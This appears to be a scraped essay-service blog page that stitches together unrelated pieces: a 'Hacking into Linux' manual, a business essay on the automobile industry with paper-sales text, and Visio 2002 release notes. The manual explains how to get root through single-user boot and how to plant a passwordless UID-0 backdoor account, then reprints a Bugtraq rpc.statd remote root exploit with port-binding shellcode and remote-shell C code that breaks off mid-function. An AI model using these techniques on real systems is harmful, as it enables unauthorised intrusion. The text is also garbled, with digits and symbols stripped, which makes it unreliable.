Monday, September 16, 2019

Hacking into Linux

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Hacking into Linux


___________________________________________________________


Essay service for your Hacking into Linux paper


Till now almost all Hacking Truths manuals have been Windows centric. I have always kept the newbie Windows user in mind, while writing manuals. However, with the growing popularity of Linux and the fact that Linux is considered to be the Hacker's OS, I decided to start a nix series.


Getting Root on a Linux machine


As you read this manual, you will discover that our basic aim always remains the same, i.e. we want to get root. Now, root is nothing but sort of a sort user, who has maximum privileges, and can do whatever he wants to do on a system. 'Root' is to nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could, remove accounts, delete files, disable daemons, and even format the entire system.


NEWBIE NOTE Getting root is considered to be really really elite especially in schools. If you are able to get root in your school network, then you practically get transformed into a semi-god, but why? Well, the reasons are pretty obvious. Aren't they?


OK, I am really interested. How do I do it? Well, in this section, we are not going to run any C program nor are we going to do any kind of coding, but we will simply exploit a small vulnerability existing in a feature which comes with Linux. This will work almost times out of 10, however, if you plan to use this technique to get 'root' on your ISP, then forget it pal. The technique explained below is quite common and the system administrator would probably be smart enough to cover up this security loophole.


Before we move on, there is one thing that you need to keep in mind. i.e. For this to work, you need to have physical access to the target system. Anyway, boot the target system and wait for the LInux LOader or LILO Prompt to come up.


At the LILO prompt type 'linux single' (without Quotes) or 'linux 1' to get the root shell where you can practically do anything.


Once Linux single is running, you get the root shell where you can type can any command which is accepted by the default shell on your system. Now, here, type 'linuxconf'. This will bring up a blue screen, which is the Linux Configuration Utility. Then, click on Users Root Password. This will allow you to change the root password!!! Yes, you read right, change the root password. Scroll down further, and you could also add new accounts with root privileges.


The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.


Well, there is yet another way in which we can get root. In the first method, we typed 'linuxconf' in the bash shell prompt, however, we could type the following to create a new account with root privileges and without any password


echo "ankit00" /etc/passwd


This command will basically edit the /etc/passwd file which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but we have booted into linux single which gives us the root shell. Hence, we can still edit it.


Anyway, to understand how exactly the above command works and how it is able to create a new account without a password, we need to learn the /etc/passwd file is structured.


The following is a line from a password file


ankitmy_passwordAnkit Fadia/home/ankit/bin/bash


The above can in turn be broken up into


Username ankit


Encrypted Password my_password


User number


Group Number


Actual Name Ankit Fadia (Optional)


Home Directory /home/ankit (Optional)


Type of Shell /bin/bash (Optional)


In our command, we have not included the optional fields and the password field of a typical password file line. Our command


echo "ankit00" /etc/passwd


can be rewritten as


Username ankit


Encrypted Password


User number 0


Group Number 0


Actual Name


Home Directory


Type of Shell


This basically creates a new account with root privileges, which can be used as a Backdoor into the system.


HACKING TRUTH If you have enabled, shadow passwords, then the command will change to


echo "ankit00" /etc/shadow


A typical line from the password file on a system with Shadow Passwords enabled is as follows


ankitAnkit Fadia/home/ankit/bin/bash


In a shadowed password file what happens is that the password field is replaced by a(Theis called a token.) such that the encrypted password does not show up in the password file and the list of encrypted passwords is stored in a different file which is not readable by normal users.


I have tired the above method on a number of systems, and have found that it works only about 80% of the times. So, after some more fooling around, I came about with yet another method, which till now seems to be foolproof.


Now, as you are in the root shell, launch your favorite editor (eg vi) and open /etc/passwd in it. Now, delete the encrypted text between the first two colons in the line, which contains the entry for root. This, will not create a new account with root privileges, but will change the password of the root, to null. So, basically this will get you a root account without any password. Once, you have removed the encrypted password, at the prompt, type 'init ' to switch back to the normal start up or else for a graphical start up type ' init 5'.


Now, say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? Well, simply use the passwd command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply.


OK, I get the point; Linux too is not 100% safe, so how can I make it safer? Well, you could password protect linux single. To do so, you have to launch your favorite editor like vi, and open /etc/LILO.conf. Now, add the following line, in a new line, after the first line


Restricted password_goes_here


(The above is Restricted followed by a space and following by the password that you choose.)


Now, save and close the editor. At the prompt then type LILO, to execute the /etc/LILO.conf file, so as to make the changes. Now, the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. So this basically acts as another barrier for anyone trying to use the techniques described in this manual, to break into your Linux box. None, of the other functioning of the linux box will be affected.


HACKING TRUTH Well, Aragon (veljkop@ptt.yu ) suggested yet another method, which I would like to mention.


1.Go to directory /etc/rc.d


.In it there should be several files if your lucky there are a bunch of files with similar names rc.1,rc....etc. these files are shell scripts which are run each time when the named runnlevel is started. These files are very much similar to autoexec.bat but even more complex you can mess with them to cause interesting results BUT be CAREFULL!). rc.1 is therefore the file for runlevel one


.Backup it in a file named rc.x (or something else)


4.Copy some other runlevel (runlevel is good) but make sure that the runlevel is multi-user.


5.Make a boot and root(for Slackware) disc (do not skip this) so if anything goes wrong you still have a


runlevel 1


Getting root Remotely


The following has been taken from Bugtraq, this exploit is supposed to get you root. However, it has not been tested or verified by me. So give me the feedback.


___________________________________________


From ron1n - shellcode@HOTMAIL.COM


Subject Redhat Linux 6.x remote root exploit


To BUGTRAQ@SECURITYFOCUS.COM


X-UIDL ad856edbbc7d8db5d468ce6eb1f600


Hi,


Included below is an exploit for the recently exposed linux rpc.statd


format string vulnerability[0]. I have tailored it towards current Redhat


Linux 6.x installations. It can easily be incorporated into attacks against


the other vulnerable Linux distributions.


I am not a security expert, but Ill offer my two cents worth this format


string issue, while drawing upon elements of straightforward buffer overflow


exploitation, is more insidious and will probably take some time to instill


itself in the minds of even security-conscious programmers. Programs like


ITS4[1], pscan[], and grep (heh!) do offer valuable assistance when trying


to isolate weak portions of code in a phase one search. However, one thing


Ive


learnt during my short time researching these things is that the complex


interaction between code and data introduces the need for a more extensive


line by line audit[].


This new problem will (if it hasnt already) spark a new wave of code


reviews


of critical applications, especially those networking daemons and privileged


programs which were given the all clear in the first sweep (although


history


shows us that a lot of programs somehow slipped through the cracks.) Someone


else sent an excellent post about the possibility of remote debugging with


these format string vulnerabilities. Once again, Im not speaking out of any


authority, but I can say that such an aid to otherwise blind exploitation


is indeed a godsend when a host is being probed by a skilled intruder.


You must understand that this particular vulnerability is much harder to


exploit than the buffer overflow vulnerabilities that youre probably


accustomed to. The problem which will bite you is that if the calculations


are not precise, statd crashes with a SIGSEGV. As youve realized by now,


brute forcing wont cut it. Also, a successful exploitation will render


subsequent attacks fruitless.


I have seen statd running on a great number of linux systems and if you can


simulate an attack against a remote system on one of your own boxes, it is


trivial to exploit that remote system. Despite the shortcoming with


the single attempt restriction, it was possible to reduce the exploitation


variables down to a SINGLE address for most attacks. The default values


for Redhat Linux 6.x work fine for me, so Im probably fussing over nothing.


Anyway, enjoy the exploit.


ron1n


shellcode@hotmail.com


Sydney, Australia


McDonalds drive-thru guy


[0] http//www.securityfocus.com/


[1] http//www.rstcorp.com/its4/


[] http//www.striker.ottawa.on.ca/~aland/pscan/


[] http//www.openbsd.org/


!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$


/


statdx


Redhat Linux 6.0/6.1/6. rpc.statd remote root exploit (IA)


by ron1n shellcode@hotmail.com


July 4, 000


Sydney, Australia


Oh you probly wont remember me


Its probly ancient history


Im one of the chosen few


Who went ahead and fell for you


$ gcc -o statdx statdx.c ; ./statdx -h


background info


---------------


rpc.statd is an ONC RPC server that implements the Network Status


Monitor RPC protocol to provide reboot notification. It is used by


the NFS file locking service (rpc.lockd) when it performs lock


recovery.


Due to a format string vulnerability in a call to syslog() within


its logging module, rpc.statd can be exploited remotely by script


kids bent on breaking into your Redhat Linux box and defacing your


website with crackpot political musings.


This is not a traditional buffer overflow vulnerability. The data


are kept within the bounds of the buffer by means of a call to


vsnprintf(). The saved return address can be overwritten indirectly


without a contiguous payload. syslog() is given, for the most part,


a user-supplied format string with no process-supplied arguments.


Our format string will, if carefully constructed, cause the process


to cull non-arbitrary addresses from the top of the stack for


sequential writes using controlled values. Exploitation requires


an executable stack on the target host -- almost invariably the


case. This problem was corrected in the nfs-utils-0.1..1 rpm.


exploit info


------------


You have one shot at this in most situations, so get it right!


If you know the port number rpc.statd is serving requests on, you


can supply the port number on the commandline to bypass the initial


portmapper query. This is very useful for hosts which are filtering


inbound connections to the portmapper. The default attack protocol


is UDP. There is a commandline option to use TCP. Apparently, the


dispatcher uses both protocols by default.


If youre only interested in exploiting a host, then you can safely


skip the following information. Youll only need a buffer address


to get started. This buffer address will either be one of my canned


ones or your own one. It must be precise, and this is where youre


likely to experience difficulties with your attacks.


[va_list][str][4][r][4][r+1][4][r+][4][r+]-----


| |


%espbuffer[104]


[%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]---


| r | r+1 | r+ | r+ |


buffer - This is the address youll need (-a and -l options)


str- Process-supplied string; 4 bytes long


4 - Duplicate dwords to satisfy the %!d specifiers and


the double %n when two successive values are equal


r - Stack position of saved eip


%x..- Wipes the va_list dword and str; by default (-w option)


%!d- Used for padding to form an aggregate overwrite value;


the exclamation mark denotes a field width. This may


or may not be present, depending on the value. An


algorithm is used to allow tricky values.


%n - Writes overwrite value to the corresponding address


sc - Nops + portbinding shellcode (port 168)


Only modify the default wipe value and the default offset value if you


know what youre doing.


An easy way to get the buffer address for simulation systems that you


have privileged access to


[term 1]# ltrace -p `pidof rpc.statd` -o foo


[term ]$ ./statdx -r 0x41414141 localhost


[term 1]# grep vsnprintf foo | head -1 | sed s/.(// |


awk -F, {print $1}


(Of course, ensure that rpc.statd is started at boot time and not from


an interactive shell, otherwise it will inherit a larger environment


and blow the accuracy of your findings.)


Ok, longwinded enough. Lets dance.


greets


------


ADM, attrition, rogues, security.is, teso


/


#include stdio.h


#include stdlib.h


#include string.h


#include errno.h


#include unistd.h


#include netdb.h


#include rpc/rpc.h


#include sys/types.h


#include sys/time.h


#include sys/socket.h


#include netinet/in.h


#define SM_PROG 10004


#define SM_VERS 1


#define SM_STAT 1


#define SM_MAXSTRLEN 104


#define max(a,b) ((a)(b)?(a)(b))


#define NOP 0x0


/


Non-ripped linux IA portbinding shellcode.


port 168 ; length 1 bytes


/


char shellcode[] =


x1xc0/ xorl %eax,%eax /


/ jmp ricochet ------------------------------------------------------- /


xebx7c/ jmp0x7c /


/ kungfu ------------------------------------------------------------ /


x5/ popl %ecx /


x8x41x10 / movl %eax,0x10(%ecx) /


/ ------------------------------------ socket(,1,0); ---------------- /


x8x41x08 / movl %eax,0x8(%ecx) /


xfexc0/ incb %al/


x8x41x04 / movl %eax,0x4(%ecx) /


x8xc/ movl %eax,%ebx /


xfexc0/ incb %al/


x8x01/ movl %eax,(%ecx) /


xb0x66/ movb $0x66,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ bind(sd,&sockaddr,16); -------- /


xbx0/ movb $0x,%bl/


x8x5x0c / movl %ebx,0xc(%ecx) /


xc6x41x0ex / movb $0x,0xe(%ecx) /


xc6x41x08x10 / movb $0x10,0x8(%ecx) /


x8x4x04 / movl %ecx,0x4(%ecx) /


x80x41x04x0c / addb $0xc,0x4(%ecx) /


x88x01/ movb %al,(%ecx) /


xb0x66/ movb $0x66,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ listen(sd,blah); -------------- /


xbx04/ movb $0x4,%bl/


xb0x66/ movb $0x66,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ accept(sd,0,16); -------------- /


xbx05/ movb $0x5,%bl/


x0xc0/ xorb %al,%al/


x88x41x04 / movb %al,0x4(%ecx)/


xb0x66/ movb $0x66,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ dup(cd,0); ------------------- /


x8xce/ movl %ecx,%esi /


x88xc/ movb %al,%bl/


x1xc/ xorl %ecx,%ecx /


xb0xf/ movb $0xf,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ dup(cd,1); ------------------- /


xfexc1/ incb %cl/


xb0xf/ movb $0xf,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ dup(cd,); ------------------- /


xfexc1/ incb %cl/


xb0xf/ movb $0xf,%al /


xcdx80/ int$0x80 /


/ ------------------------------------ execve(/bin/sh,argv,0); ----- /


xc7x06xfx6x6x6e/ movl $0x6e66f,(%esi)/


xc7x46x04xfx7x68x41/ movl $0x41687f,0x4(%esi) /


x0xc0/ xorb %al,%al/


x88x46x07 / movb %al,0x7(%esi)/


x8x76x0c / movl %esi,0xc(%esi) /


x8dx56x10 / leal 0x10(%esi),%edx /


x8dx4ex0c / leal 0xc(%esi),%ecx /


x8xf/ movl %esi,%ebx /


xb0x0b/ movb $0xb,%al/


xcdx80/ int$0x80 /


/ ------------------------------------ exit(blah); ------------------- /


xb0x01/ movb $0x1,%al/


xcdx80/ int$0x80 /


/ ricochet call kungfu ---------------------------------------------- /


xe8x7fxffxffxff; / call -0x81 /


enum res


{


stat_succ,


stat_fail


};


struct sm_name


{


char mon_name;


};


struct sm_stat_res


{


enum res res_stat;


int state;


};


struct type


{


int type;


char desc;


char code;


u_long bufpos;


int buflen;


int offset;


int wipe;


};


struct type types[] =


{


{0, Redhat 6. (nfs-utils-0.1.6-), shellcode, 0xbffff14, 104, 600,


},


{1, Redhat 6.1 (knfsd-1.4.7-7), shellcode, 0xbffff14, 104, 600, },


{, Redhat 6.0 (knfsd-1..-4), shellcode, 0xbffff14, 104, 600, },


{0, NULL, NULL, 0, 0, 0, 0}


};


bool_t


xdr_sm_name(XDR xdrs, struct sm_name objp)


{


if (!xdr_string(xdrs, &objp-mon_name, SM_MAXSTRLEN))


return (FALSE);


return (TRUE);


}


bool_t


xdr_res(XDR xdrs, enum res objp)


{


if (!xdr_enum(xdrs, (enum_t )objp))


return (FALSE);


return (TRUE);


}


bool_t


xdr_sm_stat_res(XDR xdrs, struct sm_stat_res objp)


{


if (!xdr_res(xdrs, &objp-res_stat))


return (FALSE);


if (!xdr_int(xdrs, &objp-state))


return (FALSE);


return (TRUE);


}


void


usage(char app)


{


int i;


fprintf(stderr, statdx by ron1n shellcode@hotmail.com);


fprintf(stderr, Usage %s [-t] [-p port] [-a addr] [-l len], app);


fprintf(stderr, [-o offset] [-w num] [-s secs] [-d type]


target);


fprintf(stderr, -tattack a tcp dispatcher [udp]);


fprintf(stderr, -prpc.statd serves requests on port [query]);


fprintf(stderr, -athe stack address of the buffer is addr);


fprintf(stderr, -lthe length of the buffer is len [104]);


fprintf(stderr, -othe offset to return to is offset [600]);


fprintf(stderr, -wthe number of dwords to wipe is num []);


fprintf(stderr, -sset timeout in seconds to secs [5]);


fprintf(stderr, -duse a hardcoded type);


fprintf(stderr, Available types);


for(i = 0; types[i].desc; i++)


fprintf(stderr, %d%s, types[i].type, types[i].desc);


exit(EXIT_FAILURE);


}


void


runshell(int sockd)


{


char buff[104];


int fmax, ret;


fd_set fds;


fmax = max(fileno(stdin), sockd) + 1;


send(sockd, cd /; ls -alF; id;, 1, 0);


for(;;)


{


FD_ZERO(&fds);


FD_SET(fileno(stdin), &fds);


FD_SET(sockd, &fds);


if(select(fmax, &fds, NULL, NULL, NULL) 0)


{


perror(select());


exit(EXIT_FAILURE);


}


if(FD_ISSET(sockd, &fds))


{


bzero(buff, sizeof buff);


if((ret = recv(sockd, buff, sizeof buff, 0)) 0)


{


perror(recv());


exit(EXIT_FAILURE);


}


if(!ret)


{


fprintf(stderr, Connection closed);


exit(EXIT_FAILURE);


}


write(fileno(stdout), buff, ret);


}


if(FD_ISSET(fileno(stdin), &fds))


{


bzero(buff, sizeof buff);


ret = read(fileno(stdin), buff, sizeof buff);


errno = 0;


if(send(sockd, buff, ret, 0) != ret)


{


if(errno) perror(send());


else fprintf(stderr, Transmission loss);


exit(EXIT_FAILURE);


}


}


}


}


void


connection(struct sockaddr_in host)


{


int sockd;


host.sin_port = htons(168);


if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) 0)


{


perror(socket());


exit(EXIT_FAILURE);


}


if(!connect(sockd, (struct sockaddr ) &host, sizeof host))


{


printf(OMG! You now have rpc.statd technique!@#$!);


runshell(sockd);


}


close(sockd);


}


char


wizardry(char sc, u_long bufpos, int buflen, int offset, int wipe)


{


int i, j, cnt, pad;


char pbyte, buff, ptr;


u_long retpos;


u_long dstpos;


while(bufpos % 4) bufpos--;


/ buflen + ebp /


retpos = bufpos + buflen + 4;


/


0x00 ==


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Friday, September 13, 2019

Daimler-Chrysler and the World Automobile Industry

If you order your custom term paper from our custom writing service you will receive a perfectly written assignment on Daimler-Chrysler and the World Automobile Industry. What we need from you is to provide us with your detailed paper instructions for our experienced writers to follow all of your specific writing requirements. Specify your order details, state the exact number of pages required and our custom writing professionals will deliver the best quality Daimler-Chrysler and the World Automobile Industry paper right on time.


Out staff of freelance writers includes over 120 experts proficient in Daimler-Chrysler and the World Automobile Industry, therefore you can rest assured that your assignment will be handled by only top rated specialists. Order your Daimler-Chrysler and the World Automobile Industry paper at affordable prices!


The world automobile industry had experienced near constant growth through to the mid-180's. The transition from horse carriages to automobiles brought about uncertainty over the development of the product during the industry's infant years. As the automobile evolved, demand for automobiles soared at different points in time throughout the world. However, depressed demand eventuated two decades ago after the saturated markets of North America, Europe and Japan. This consequently left industry profitability at a recession. The reasons to why such an occurrence was brought about are explained below.


Porter's Five Forces


Threat of Substitutes


The competition of substitutes has remained calm within the industry (Grant, 18). In the absence of close substitutes for a product, consumers usually will not react to price increases and switch to substitutes (Grant, 00). Consumers' reasons for demand for an automobile can differ. Fundamentally, motor vehicles serve the purpose to deliver passengers from the departing location to a particular destination. Grant (00) says, "the more complex the needs being fulfilled by the product… the lower the extent of substitution by customers on the basis of price differences". If the intent is solely transportation needs, such a need can be simply satisfied by the substitutes of public transport. On the other hand, more complex needs, such as consumers desiring a more flexible, comfortable, and personal means of transportation, decrease consumers' propensity to switch to substitutes.


Threat of Entry


New entrants in an industry intensify competition in their respective markets. However, they are usually disadvantaged in respect to competing at the competitive level (Grant, 000). Established manufacturers can hold several abilities gained from survival in the industry that entrants cannot instantly acquire, and these further create barriers to entry into the industry.


It is estimated that over four million vehicles should be produced per year to qualify as a low-cost producer in the automobile industry (Grant, 00). "Economies of scale remains an essential determinant for cost-efficient production, and that without it, high levels of flexibility alone cannot translate into world competitive production" (Husan, 17). The inability refrained most potential new entrants from entering the industry with the exception of Proton (Malaysia) and Maruti (India). Settled in protected markets with acquisition to licenses and support from its government, permits access to required technology and designs of automobiles. This enhanced their ability to produce at low-cost and reduced the distance from established manufacturers.


As a result of increased competition, established manufacturers' absolute cost advantages are important and valuable. From experience and early existence in the industry, manufacturers have acquired cost-specific knowledge to drive low-cost production. Though producing at low-cost, product differentiation throughout the market is also important.


Rivalry Between Established Firms


Competing on innovation and cost reduction, established manufacturers created a strong wave of increased competition. As a result of merges, acquisitions, and alike strategic relationships between manufacturers, of small- and medium-sized producers, the industry became more concentrated. Many manufacturers internationally expanding caused greater import activity and construction of foreign plants to accommodate for the foreign market's demand and drive for low-cost (Grant, 18) and to exploit factors that aid research and development (Kuemmerle, 1).


Competing in a sole market may not earn profitable returns; therefore manufacturers decide to participate in other markets. Manufacturers diversifying into numerous segments of the industry caused the number of competitors in national markets to substantially increase. This increase in competition was dangerous for producers who compete predominantly domestically, as they become more pressured by global rivals (Grant, 000), and are often acquired by larger manufacturers as a result, or with other alliances formed.



For its competitiveness, manufacturers standardised designs and technologies of vehicles. This led to great similarity in products between competitors, increasing the difficulty to differentiate for consumers. Inability to differentiate can increase consumers' propensity to switch brands if they are price insensitive.


The fall in industry profitability was affected by the imbalance between demand and capacity of automobiles. Excess capacity in depressed demand conditions led offerings of price reductions in attempt to disseminate costs over a larger scale of sales. Over-investment in production facilities induced greater capacity, where it grew faster than demand. Substantial exit barriers appeared due to the relative costs to free excess capacity.


Bargaining Power of Buyers


In the output market, relative economic power of buyers is dependent on their sensitivity to price and relative bargaining power. The merge of manufacturing designs and technologies inflicted a low degree of differentiation in automobiles, creating a greater tendency for consumers to switch suppliers of automobiles on the basis on price. The cost of losing a consumer to a supplier in the industry is relatively great when the number of buyers in the market is small (Grant, 00). As a result, the strength of bargaining power of buyers in markets of the industry increased, with the greater proportion of value generated from the transaction residing in the buyers.


There are additional buyers in the automobile industry other than those who consume vehicles for use. Retailers, that manufacturers distribute their products to, also act as buyers. Given that retailers are the only 'homes' of manufacturers' products and that there are merely any other accommodations to access the market, their capabilities to negotiate price and to execute specific commands have strengthened their bargaining power against suppliers.



Bargaining Power of Suppliers


Manufacturers play the role of buyers when acquiring vehicle components to produce their products from their suppliers. Manufacturers abandoned backward integration to production and tended towards the Japanese way of production. That is, manufacturers established long run relationships with a particular number of suppliers, creating symbiotic strategic alliances where there is an interdependence between car makers to control suppliers (Banerji & Sambhorya, 18). However, ultimately these suppliers were able to elevated their size and power capabilities. Technology development, being brought about by component suppliers (Grant, 18), has allowed greater power in negotiation and bargaining in their position. Powerful suppliers increasing prices decrease manufacturers profits and/or drive manufacturers to draw more attention on the suppliers rather than their own needs (Cummings & Worley, 001).


The above competitive pressures of Porter's Five Forces (Grant, 00) provide judgment on the levels of competition and profitability within the industry. Profitability levels were reduced mainly due to the intense rivalry between established manufacturers and the increased power of buyers and suppliers in the industry. Additionally, international expansion of manufacturing companies found fierce competition in national markets, threatening domestic competitors. These occurrences affect the future prospects of the automobile industry. Predictions towards this will differ depending on the time period the forecast is made upon.


Predictions on the Industry Future


It is predicted that rivalry between competitors in the industry is to continue into the future. National markets of competitors are becoming more concentrated, increasing the difficulty for individual manufacturers to capture market share. This would cause fight for market position and in affect, drive price cuts, decreasing profit margins. A firm gaining some form of competitive advantage is beneficial and important to survive and perform well in the industry. One is cost advantage. Worldwide outsourcing, many to lower-cost locations, produces lower-cost development that new entrants are incapable of and simultaneously, forms a higher barrier to tempted entrants.


Excess capacity occurred due to decreased demand and over-investments in manufacturing facilities in the industry. Potential for market growth is said to appear within the next ten years in Eastern Europe, Russia, China, India, and Latin America. Excess capacity will persist and possibly surface as a major problem if this phenomenon does not occur. Demand was also likely to drop in Japan, Southeast Asia and North America (Grant, 000). With slowing demand also caused by the durability of vehicles and the continuous innovation of designs and technologies, the control between excess capacity and demand will be difficult.


The bargaining power of both buyers and suppliers are predicted to strengthen. Manufacturers, being largely dependent on suppliers for their production efficiencies and quality, were "unconcerned about losing control over production and technology so long as they could control marketing and distribution" (Grant, 000). Furthermore, as mentioned previously, technology development occurred through suppliers. These developments enhanced manufacturers' production efforts and therefore, they have seemed to delegate certain decision-making to suppliers.


The foreseeing of buyers also having greater bargaining power originates from minimal product differentiation of manufacturers' vehicles. Similarities in products force manufacturers to apply other marketing strategies to appeal to its market. Buyers in society, compared to many years ago, are exposed to more information about products. Educated buyers learn to expect certain features as standard in the product and, furthermore, their expectations towards the product also rise (Czinkota, 000). Manufacturers strive to meet buyer expectations and therefore, lose certain power to their consumers.


Key Success Factors of the Industry


Despite the fact that overall profitability in the automobile industry has declined, it does not signify that all individual manufacturers are performing equally not well. There are reasons to why some manufacturers are performing better than others in the same industry. Some manufacturers may have access to certain resources and perform activities in such a way that permits them to exceed competitors. These elements that drive their performance are sometimes known as key success factors, factors in the market environment that determine a company's ability to survive and thrive in that market (Grant, 00). They are key success factors when manufacturers end up supplying the product of customers' and when they can survive competition. This proceeds on to identification of key success factors of manufacturers at competitive positions in the industry.


The ability to be a low-cost manufacturer in the intense market creates competitive advantage. Producing at low cost requires manufacturers to attend to several different aspects of an automobile manufacturer's value chain the activities of the manufacturer's separated into a sequential chain (Grant, 00). Segments of the chain, from supplies of components and materials to the dealer and customer support, allow closer discussion of cost-reduction in the industry.


Many manufacturers now acquire their components by means of outsourcing throughout the world. Not only does this induce lower cost to manufacturers, but it also offers opportunities for them to focus, and possibly specialise, in fewer activities in the value chain. Bramorski et al. (000) notes that "Manufacturers no longer compete based entirely on their own strengths…Instead, they compete based on strengths of the entire value chain involving their own organization and their suppliers". For instance, manufacturers concentrate on specialisation in new product development to produce better vehicles in attempt for greater market share.


The adoption of Just-in-time (JIT) manufacturing systems reduces inventory holdings and hence, reduces the costs incurred in the process. Applying such a system lowers carrying costs and investments in inventory. Each is retrieved and pulled from downstream when and only when it is required to replenish vacancies upstream. JIT systems enforce long-term relationships with few suppliers. Consequently, costs are furthered reduced by trust and confidence that suppliers will deliver defect-free, quality components (Davis, Aquilano & Chase, 1).


Mergers, joint ventures and alliances are also seen as a factor consolidating the competitive advantage to success in the industry (Passernard & Kleiner, 000). Such relationships permit exploitation of companies' core competences (Wild, Wild & Han, 001). By doing so, manufacturers reduce research and development (R&D), production and/or distribution costs. Manufacturers have also used this strategic move to get a foothold in a new geographical market. A successful example is a joint venture between Japan's Suzuki Motor Corporation and the government-supported Maruti in India (Grant, 000). Their initial production of small-engine cars extended to light trucks and now, the manufacturer from the Maruti-Suzuki joint venture is successfully the leader in its market.


Manufacturers grasp the essence of the approach to low-cost production, but put considerable investment into new product development (NPD). NPD has transpired into a very important and valuable capability that a manufacturer can possess in the last decade (Grant, 000). This enable manufacturers to differentiate their products, and in a market where products are growing increasingly similar, NPD is a critical factor to success. For instance, Japanese manufacturers have been successful with NPD, and by the 10's, their advantage over other manufacturers was shorter NPD times in the industry (Grant, 000). Japanese manufacturers attained higher positions within their markets with the access to certain resources and capabilities.


To survive and succeed in the near future, manufacturers must be able to access the above crucial resources and capabilities. That is, low-cost production, the foresight of possible partnerships to exploit opportunities, and NPD, pursuing product differentiation. Successful firms of the industry have thrived in these respects and, simultaneously, distanced away from competition that were not yet able to obtain such skills.


Regardless of the market that manufacturing firms compete in, the most successful in the industry will be those who are able to supply products that meet customer expectations, who understand the drivers of performance success and acquire and exploit these tools to compete. Those who are also able to internationally expand into national markets and compete at a global level see potential for striving in the industry. National markets are becoming more concentrated and competition is continuously increasing. Despite the fact that this might drive down profitability levels, manufacturers seek to survive before they can succeed. Manufacturers only focusing on one geographical market in the industry lack the international diversity and will be beaten by those expanding internationally into their target market (Grant, 000).


In understanding this, it is predicted that the established, experienced Japanese firms, such as Toyota, will continue to come through in the industry. Know-how to low production cost, superior quality and shorter production times is a primary competitive advantage, leading to more efficient competitiveness in their market(s). U.S. and European manufacturers acknowledged the effectiveness of such components and learned to adapt to these practices (Grant, 000). These firms, such as the new Daimler-Chrysler, are also recognised as potential successes. Those manufacturing firms who acknowledge these elements and incorporate these into their practices will have a brighter outlook in the near-future years.


In summary, the decline in profitability of the automobile industry was brought about by several structural trends. The fierce competition between rivals and internationalisation caused exits and strategic relationships to form in order to survive. The increasing power of buyers and suppliers in the industry oppositely weakened the strength of manufacturers and that product differentiation had become an important issue in the markets. These phenomena are believed to persist, to a certain degree, into the future, bypassing the possibility that the Daimler-Chrysler merge may induce a phase of consolidation in the industry (Grant, 000). Industry movement is dependent on demand in the markets, and if demand persists downwards, the ability to control excess capacity will be increasingly difficult. However, the future of the automobile industry cannot be guaranteed solely on the basis of past trends. Unexpected events can occur and impact the industry in unpredictable ways.



Please note that this sample paper on Daimler-Chrysler and the World Automobile Industry is for your review only. In order to eliminate any of the plagiarism issues, it is highly recommended that you do not use it for you own writing purposes. In case you experience difficulties with writing a well structured and accurately composed paper on Daimler-Chrysler and the World Automobile Industry, we are here to assist you. Your cheap custom college paper on Daimler-Chrysler and the World Automobile Industry will be written from scratch, so you do not have to worry about its originality.


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Thursday, September 12, 2019

Dont have any !!

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Version 2002


Release Notes


This file contains important, late-breaking information about Microsoft Visio.


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Contents


Installation Issues


Documentation Issues


Printing


Graphics Filters


CAD Drawings in Visio


Find Shape


Issues in Visio Professional:


Process Engineering Solution


Building Engineering Solution


Web Diagram Solution


Network Solution


Software Solution


Database Solution


Installation Issues


Installing on a computer with previous versions of Visio


Under most circumstances, Microsoft Visio 2002 will install and run normally on a computer that has previous versions of Visio installed (excluding Visio 2002 beta versions). However, for optimal performance in Visio 2002, we recommend that you uninstall previous versions during Microsoft Visio Setup.


Uninstalling previous versions


Microsoft Visio Setup automatically finds previous versions of Visio installed on your computer and allows you to remove them during the setup process. We recommend that you allow the setup program to remove your previous versions of Visio.


Issues with keeping previous versions: Visio 2000 SR1


If you have a Visio 2000 SR1 product installed on your computer, and you choose to keep this previous version when you install Visio 2002, the Microsoft Visio shortcut on the Start menu will point to Visio 2002. See Windows Help for instructions to create a new Start menu shortcut for Visio 2000 SR1.


Note: The Microsoft Visio shortcut on the Start menu will always point to the Visio 2000 SR1 or Visio 2002 product that was most recently installed or repaired.


If you have a Visio 2000 SR1 product installed on your computer, and you choose to keep this previous version when you install Visio 2002, you may experience minor difficulty running Visio 2002 later on. If you uninstall Visio 2000 SR1 at any time after installing Visio 2002, Visio 2002 will run only in reduced functionality mode. To correct the problem on Windows 98, NT 4.0 and ME, you must manually start the repair program in Microsoft Visio Setup, using the steps below. On Windows 2000 and Windows XP, the repair program will start automatically when you run Visio. In this case, wait for auto-repair to complete, then Visio will run normally.


To start a Visio repair in Windows 98, ME, or NT, do the following:


1.On the Windows Start menu, point to Settings, click Control Panel, and then double-click Add/Remove Programs.


2.In the list of currently installed programs, click Microsoft Visio 2002.


3.Click Add/Remove. Microsoft Visio Maintenance Mode will start.


4.Click Repair, and then click Next.


5.Follow any further instructions on the screen.


Visio should function normally from this point on.


Note: If you originally installed Visio 2002 from a CD, have the CD available so that the repair process can complete successfully.


Running Visio 2002 with previous versions of Visio


If you run the previous version of Visio, and then subsequently run Visio 2002, Visio 2002 will auto-repair. Wait for auto-repair to complete, and Visio will run normally from this point on.


Note: If you originally installed Visio 2002 from a CD, have the CD available so that the auto-repair process can complete successfully.


Installing on a computer with Microsoft Office 2000


Microsoft Visio should install and run normally on a computer that has Microsoft Office 2000 installed. However, if you subsequently uninstall Visio, Office 2000 and Office family applications (such as Microsoft Project) may temporarily not function correctly or may attempt to auto-repair the next time you run them.


Note: If you originally installed Office 2000 from a CD, have the CD available so that the auto-repair process can complete successfully.


Microsoft Project 2000, Word 2000, and Excel 2000


